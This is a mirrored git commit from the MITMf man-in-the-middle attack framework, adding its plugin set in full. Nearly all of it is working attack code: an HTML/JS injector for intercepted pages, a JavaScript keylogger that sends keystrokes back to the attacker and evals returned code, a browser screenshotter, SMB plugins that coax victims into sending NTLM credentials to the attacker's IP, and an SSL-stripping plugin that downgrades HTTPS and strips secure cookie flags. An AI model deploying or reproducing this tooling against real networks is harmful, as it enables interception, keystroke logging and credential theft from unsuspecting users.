mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-14 02:37:06 -07:00
Initial commit for v1.0 using mitmproxy instead of twisted
Added a plugin system to Net-Creds so you can now add your own parsers, api hook names might change between now and the offcial release (will submit a PR to the original repo once completed) The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts the code down by an insane amount, no more twisted! yay! Basic plugin have been re-wrote for the new proxy engine Since we are using mitmproxy we have out of the box support for SSL/TLS!
This commit is contained in:
commit
eea5f53be2
50 changed files with 5525 additions and 0 deletions
3
plugins/__init__.py
Normal file
3
plugins/__init__.py
Normal file
|
@ -0,0 +1,3 @@
|
|||
import os
|
||||
import glob
|
||||
__all__ = [os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")]
|
22
plugins/browserprofiler.py
Normal file
22
plugins/browserprofiler.py
Normal file
|
@ -0,0 +1,22 @@
|
|||
import json
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
from pprint import pformat
|
||||
|
||||
class BrowserProfiler(Plugin):
|
||||
name = 'Browser Profiler'
|
||||
optname = 'browserprofiler'
|
||||
desc = 'Attempts to enumerate all browser plugins of connected clients'
|
||||
ver = '0.3'
|
||||
|
||||
def initialize(self, context):
|
||||
context.js_file = open('plugins/resources/plugindetect.js', 'r')
|
||||
|
||||
def request(self, context, flow):
|
||||
if flow.request.method == 'POST' and ('clientprfl' in flow.request.path):
|
||||
context.handle_post_output = True
|
||||
pretty_output = pformat(json.loads(flow.request.content))
|
||||
context.log("[BrowserProfiler] Got data:\n{}".format(pretty_output))
|
||||
|
||||
def response(self, context, flow):
|
||||
Inject().response(context, flow)
|
64
plugins/inject.py
Normal file
64
plugins/inject.py
Normal file
|
@ -0,0 +1,64 @@
|
|||
import argparse
|
||||
from bs4 import BeautifulSoup
|
||||
from plugins.plugin import Plugin
|
||||
from netlib.http import decoded
|
||||
|
||||
class Inject(Plugin):
|
||||
name = 'Inject'
|
||||
optname = 'inject'
|
||||
desc = 'Inject arbitrary content into HTML content'
|
||||
version = '1.0'
|
||||
|
||||
def response(self, context, flow):
|
||||
if context.html_url and (flow.request.host in context.html_url):
|
||||
return
|
||||
|
||||
if context.js_url and (flow.request.host in context.js_url):
|
||||
return
|
||||
|
||||
if 'text/html' in flow.response.headers.get('content-type', ''):
|
||||
with decoded(flow.response):
|
||||
html = BeautifulSoup(flow.response.content.decode('utf-8', 'ignore'), 'lxml')
|
||||
if html.body:
|
||||
|
||||
if context.html_url:
|
||||
iframe = html.new_tag('iframe', src=context.html_url, frameborder=0, height=0, width=0)
|
||||
html.body.append(iframe)
|
||||
context.log('[Inject] Injected HTML Iframe: {}'.format(flow.request.host))
|
||||
|
||||
if context.html_payload:
|
||||
payload = BeautifulSoup(context.html_payload, "html.parser")
|
||||
html.body.append(payload)
|
||||
context.log('[Inject] Injected HTML payload: {}'.format(flow.request.host))
|
||||
|
||||
if context.html_file:
|
||||
payload = BeautifulSoup(context.html_file.read(), "html.parser")
|
||||
html.body.append(payload)
|
||||
context.log('[Inject] Injected HTML file: {}'.format(flow.request.host))
|
||||
|
||||
if context.js_url:
|
||||
script = html.new_tag('script', type='text/javascript', src=context.js_url)
|
||||
html.body.append(script)
|
||||
context.log('[Inject] Injected JS script: {}'.format(flow.request.host))
|
||||
|
||||
if context.js_payload:
|
||||
tag = html.new_tag('script', type='text/javascript')
|
||||
tag.append(context.js_payload)
|
||||
html.body.append(tag)
|
||||
context.log('[Inject] Injected JS payload: {}'.format(flow.request.host))
|
||||
|
||||
if context.js_file:
|
||||
tag = html.new_tag('script', type='text/javascript')
|
||||
tag.append(context.js_file.read())
|
||||
html.body.append(tag)
|
||||
context.log('[Inject] Injected JS file: {}'.format(flow.request.host))
|
||||
|
||||
flow.response.content = str(html)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--html-url', dest='html_url', type=str, help='URL of the HTML to inject')
|
||||
options.add_argument('--html-payload', dest='html_payload', type=str, help='HTML string to inject')
|
||||
options.add_argument('--html-file', dest='html_file', type=argparse.FileType('r'), help='File containing HTML to inject')
|
||||
options.add_argument('--js-url', dest='js_url', type=str, help='URL of the JS to inject')
|
||||
options.add_argument('--js-payload', dest='js_payload', type=str, help='JS string to inject')
|
||||
options.add_argument('--js-file', dest='js_file', type=argparse.FileType('r'), help='File containing JS to inject')
|
43
plugins/jskeylogger.py
Normal file
43
plugins/jskeylogger.py
Normal file
|
@ -0,0 +1,43 @@
|
|||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class JSKeylogger(Plugin):
|
||||
name = 'JS Keylogger'
|
||||
optname = 'jskeylogger'
|
||||
desc = 'Injects a javascript keylogger into clients webpages'
|
||||
version = '1.0'
|
||||
|
||||
def initialize(self, context):
|
||||
context.js_file = open('plugins/resources/msfkeylogger.js', 'r')
|
||||
|
||||
def request(self, context, flow):
|
||||
if flow.request.method == 'POST' and ('keylog' in flow.request.path):
|
||||
|
||||
#Overrides the default POST output
|
||||
context.handle_post_output = True
|
||||
|
||||
raw_keys = flow.request.content.split("&&")[0]
|
||||
input_field = flow.request.content.split("&&")[1]
|
||||
|
||||
keys = raw_keys.split(",")
|
||||
if keys:
|
||||
del keys[0]; del(keys[len(keys)-1])
|
||||
|
||||
nice = ''
|
||||
for n in keys:
|
||||
if n == '9':
|
||||
nice += "<TAB>"
|
||||
elif n == '8':
|
||||
nice = nice[:-1]
|
||||
elif n == '13':
|
||||
nice = ''
|
||||
else:
|
||||
try:
|
||||
nice += n.decode('hex')
|
||||
except:
|
||||
context.log("[JSKeylogger] Error decoding char: {}".format(n))
|
||||
|
||||
context.log("[JSKeylogger] Host: {} | Field: {} | Keys: {}".format(flow.request.host, input_field, nice))
|
||||
|
||||
def response(self, context, flow):
|
||||
Inject().response(context, flow)
|
45
plugins/plugin.py
Normal file
45
plugins/plugin.py
Normal file
|
@ -0,0 +1,45 @@
|
|||
'''
|
||||
The base plugin class. This shows the various methods that
|
||||
can get called during the MITM attack.
|
||||
'''
|
||||
import argparse
|
||||
import logging
|
||||
|
||||
class Plugin(object):
|
||||
name = "Example Plugin"
|
||||
optname = "example"
|
||||
desc = ""
|
||||
version = "0.0"
|
||||
|
||||
def __init__(self, parser=None):
|
||||
'''Optionally Passed the options namespace'''
|
||||
if parser:
|
||||
if self.desc:
|
||||
sgroup = parser.add_argument_group(self.name, self.desc)
|
||||
else:
|
||||
sgroup = parser.add_argument_group(self.name,'Options for the {} plugin'.format(self.name))
|
||||
|
||||
sgroup.add_argument('--{}'.format(self.optname), action='store_true',help='Load plugin {}'.format(self.name))
|
||||
|
||||
self.options(sgroup)
|
||||
|
||||
def initialize(self, context):
|
||||
'''Called when plugin is started'''
|
||||
pass
|
||||
|
||||
def shutdown(self, context):
|
||||
'''This will be called when shutting down'''
|
||||
pass
|
||||
|
||||
def request(self, context, flow):
|
||||
pass
|
||||
|
||||
def responseheaders(self, context, flow):
|
||||
pass
|
||||
|
||||
def response(self, context, flow):
|
||||
pass
|
||||
|
||||
def options(self, options):
|
||||
'''Add your options to the options parser'''
|
||||
pass
|
20
plugins/replace.py
Normal file
20
plugins/replace.py
Normal file
|
@ -0,0 +1,20 @@
|
|||
import re
|
||||
from netlib.http import decoded
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Replace(Plugin):
|
||||
name = 'Replace'
|
||||
optname = 'replace'
|
||||
desc = 'Replace arbitrary content in HTML content'
|
||||
version = '0.2'
|
||||
|
||||
def response(self, context, flow):
|
||||
if flow.response.headers.get_first("content-type", "").startswith("text/html"):
|
||||
with decoded(flow.response):
|
||||
for rulename, regexs in self.config['Replace'].iteritems():
|
||||
for regex1,regex2 in regexs.iteritems():
|
||||
if re.search(regex1, flow.response.content):
|
||||
data = re.sub(regex1, regex2, flow.response.content)
|
||||
context.log("[Replace] Occurances matching '{}' replaced with '{}' according to rule '{}' on {}".format(regex1, regex2, rulename, flow.request.host))
|
||||
|
||||
flow.response.content = data
|
117
plugins/resources/msfkeylogger.js
Normal file
117
plugins/resources/msfkeylogger.js
Normal file
|
@ -0,0 +1,117 @@
|
|||
window.onload = function (){
|
||||
var2 = ",";
|
||||
name = '';
|
||||
function make_xhr(){
|
||||
var xhr;
|
||||
try {
|
||||
xhr = new XMLHttpRequest();
|
||||
} catch(e) {
|
||||
try {
|
||||
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
} catch(e) {
|
||||
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||
}
|
||||
}
|
||||
if(!xhr) {
|
||||
throw "failed to create XMLHttpRequest";
|
||||
}
|
||||
return xhr;
|
||||
}
|
||||
|
||||
xhr = make_xhr();
|
||||
xhr.onreadystatechange = function() {
|
||||
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
||||
eval(xhr.responseText);
|
||||
}
|
||||
}
|
||||
|
||||
if (window.addEventListener){
|
||||
//console.log("first");
|
||||
document.addEventListener('keypress', function2, true);
|
||||
document.addEventListener('keydown', function1, true);
|
||||
}
|
||||
else if (window.attachEvent){
|
||||
//console.log("second");
|
||||
document.attachEvent('onkeypress', function2);
|
||||
document.attachEvent('onkeydown', function1);
|
||||
}
|
||||
else {
|
||||
//console.log("third");
|
||||
document.onkeypress = function2;
|
||||
document.onkeydown = function1;
|
||||
}
|
||||
}
|
||||
|
||||
function function2(e)
|
||||
{
|
||||
try
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
}catch(error)
|
||||
{
|
||||
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||
if (srcname == "")
|
||||
{
|
||||
srcname = e.target.name
|
||||
}
|
||||
}
|
||||
|
||||
var3 = (e) ? e.keyCode : e.which;
|
||||
if (var3 == 0)
|
||||
{
|
||||
var3 = e.charCode
|
||||
}
|
||||
|
||||
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
|
||||
{
|
||||
andxhr(var3.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
|
||||
function function1(e)
|
||||
{
|
||||
try
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
}catch(error)
|
||||
{
|
||||
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||
if (srcname == "")
|
||||
{
|
||||
srcname = e.target.name
|
||||
}
|
||||
}
|
||||
|
||||
var3 = (e) ? e.keyCode : e.which;
|
||||
if (var3 == 9 || var3 == 8 || var3 == 13)
|
||||
{
|
||||
andxhr(var3.toString(16), srcname);
|
||||
}
|
||||
else if (var3 == 0)
|
||||
{
|
||||
|
||||
text = document.getElementById(id).value;
|
||||
if (text.length != 0)
|
||||
{
|
||||
andxhr(text.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
function andxhr(key, inputName)
|
||||
{
|
||||
if (inputName != name)
|
||||
{
|
||||
name = inputName;
|
||||
var2 = ",";
|
||||
}
|
||||
var2= var2 + key + ",";
|
||||
xhr.open("POST", "keylog", true);
|
||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
xhr.send(var2 + '&&' + inputName);
|
||||
|
||||
if (key == 13 || var2.length > 3000)
|
||||
{
|
||||
var2 = ",";
|
||||
}
|
||||
}
|
74
plugins/resources/plugindetect.js
Normal file
74
plugins/resources/plugindetect.js
Normal file
File diff suppressed because one or more lines are too long
2880
plugins/resources/screenshot.js
Normal file
2880
plugins/resources/screenshot.js
Normal file
File diff suppressed because it is too large
Load diff
35
plugins/screenshotter.py
Normal file
35
plugins/screenshotter.py
Normal file
|
@ -0,0 +1,35 @@
|
|||
import re
|
||||
from base64 import b64decode
|
||||
from urllib import unquote
|
||||
from datetime import datetime
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class ScreenShotter(Plugin):
|
||||
name = 'ScreenShotter'
|
||||
optname = 'screen'
|
||||
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||
version = '0.2'
|
||||
|
||||
def initialize(self, context):
|
||||
payload = open('plugins/resources/screenshot.js', 'r').read()
|
||||
payload = re.sub('SECONDS_GO_HERE', str(context.interval*1000), payload)
|
||||
context.js_payload = payload
|
||||
|
||||
def request(self, context, flow):
|
||||
if flow.request.method == 'POST' and ('saveshot' in flow.request.path):
|
||||
context.handle_post_output = True
|
||||
img_file = '{}-{}-{}.png'.format(flow.client_conn.address.host, flow.request.host, datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||
try:
|
||||
with open('./logs/' + img_file, 'wb') as img:
|
||||
img.write(b64decode(unquote(flow.request.content).decode('utf8').split(',')[1]))
|
||||
img.close()
|
||||
context.log('[ScreenShotter] Saved screenshot to {}'.format(img_file))
|
||||
except Exception as e:
|
||||
context.log('[ScreenShotter] Error saving screenshot: {}'.format(e))
|
||||
|
||||
def response(self, context, flow):
|
||||
Inject().response(context, flow)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
|
16
plugins/smbauth.py
Normal file
16
plugins/smbauth.py
Normal file
|
@ -0,0 +1,16 @@
|
|||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class SMBAuth(Plugin):
|
||||
name = 'SMBAuth'
|
||||
optname = 'smbauth'
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
version = '0.1'
|
||||
|
||||
def initialize(self, context):
|
||||
context.html_payload = '<img src=\"\\\\{}\\image.jpg\">'\
|
||||
'<img src=\"file://///{}\\image.jpg\">'\
|
||||
'<img src=\"moz-icon:file:///%%5c/{}\\image.jpg\">'.format(*tuple([context.ip]*3))
|
||||
|
||||
def response(self, context, flow):
|
||||
Inject().response(context, flow)
|
21
plugins/smbtrap.py
Normal file
21
plugins/smbtrap.py
Normal file
|
@ -0,0 +1,21 @@
|
|||
import random
|
||||
import string
|
||||
from libmproxy.protocol.http import HTTPResponse
|
||||
from plugins.plugin import Plugin
|
||||
from netlib.odict import ODictCaseless
|
||||
|
||||
class SMBTrap(Plugin):
|
||||
name = 'SMBTrap'
|
||||
optname = 'smbtrap'
|
||||
desc = "Exploits the SMBTrap vulnerability on connected clients"
|
||||
version = "1.0"
|
||||
|
||||
def request(self, context, flow):
|
||||
rand_name = ''.join(random.sample(string.ascii_lowercase + string.ascii_uppercase, 10))
|
||||
resp = HTTPResponse(
|
||||
[1, 1], 302, "OK",
|
||||
ODictCaseless([["Location", "file://{}/{}".format(context.ip, rand_name)]]),
|
||||
"Trapped!")
|
||||
|
||||
context.log("[SMBTrap] Trapped request to: {}".format(flow.request.host))
|
||||
flow.reply(resp)
|
46
plugins/sslstrip.py
Normal file
46
plugins/sslstrip.py
Normal file
|
@ -0,0 +1,46 @@
|
|||
import re
|
||||
from plugins.plugin import Plugin
|
||||
from netlib.http import decoded
|
||||
from six.moves import urllib
|
||||
|
||||
class SSLStrip(Plugin):
|
||||
name = 'SSLStrip'
|
||||
optname = 'sslstrip'
|
||||
desc = 'Performs SSLStripping attacks on requested pages'
|
||||
version = '1.0'
|
||||
|
||||
def initialize(self, context):
|
||||
#set of SSL/TLS capable hosts
|
||||
context.secure_hosts = set()
|
||||
|
||||
def request(self, context, flow):
|
||||
|
||||
flow.request.headers.pop('If-Modified-Since', None)
|
||||
flow.request.headers.pop('Cache-Control', None)
|
||||
|
||||
#proxy connections to SSL-enabled hosts
|
||||
if flow.request.pretty_host in context.secure_hosts :
|
||||
flow.request.scheme = 'https'
|
||||
flow.request.port = 443
|
||||
|
||||
def response(self, context, flow):
|
||||
|
||||
with decoded(flow.response) :
|
||||
flow.request.headers.pop('Strict-Transport-Security', None)
|
||||
flow.request.headers.pop('Public-Key-Pins', None)
|
||||
|
||||
#strip links in response body
|
||||
flow.response.content = flow.response.content.replace('https://', 'http://')
|
||||
|
||||
#strip links in 'Location' header
|
||||
if flow.response.headers.get('Location','').startswith('https://'):
|
||||
location = flow.response.headers['Location']
|
||||
hostname = urllib.parse.urlparse(location).hostname
|
||||
if hostname:
|
||||
context.secure_hosts.add(hostname)
|
||||
flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
|
||||
|
||||
#strip secure flag from 'Set-Cookie' headers
|
||||
cookies = flow.response.headers.get_all('Set-Cookie')
|
||||
cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
|
||||
flow.response.headers.set_all('Set-Cookie', cookies)
|
23
plugins/upsidedownternet.py
Normal file
23
plugins/upsidedownternet.py
Normal file
|
@ -0,0 +1,23 @@
|
|||
import cStringIO
|
||||
from PIL import Image
|
||||
from libmproxy.models import decoded
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class Upsidedownternet(Plugin):
|
||||
name = 'Upsidedownternet'
|
||||
optname = 'upsidedownternet'
|
||||
desc = 'Flips images 180 degrees'
|
||||
version = '1.0'
|
||||
|
||||
def response(self, context, flow):
|
||||
if flow.response.headers.get("content-type", "").startswith("image"):
|
||||
with decoded(flow.response): # automatically decode gzipped responses.
|
||||
try:
|
||||
s = cStringIO.StringIO(flow.response.content)
|
||||
img = Image.open(s).rotate(180)
|
||||
s2 = cStringIO.StringIO()
|
||||
img.save(s2, "png")
|
||||
flow.response.content = s2.getvalue()
|
||||
flow.response.headers["content-type"] = "image/png"
|
||||
except: # Unknown image types etc.
|
||||
pass
|
Loading…
Add table
Add a link
Reference in a new issue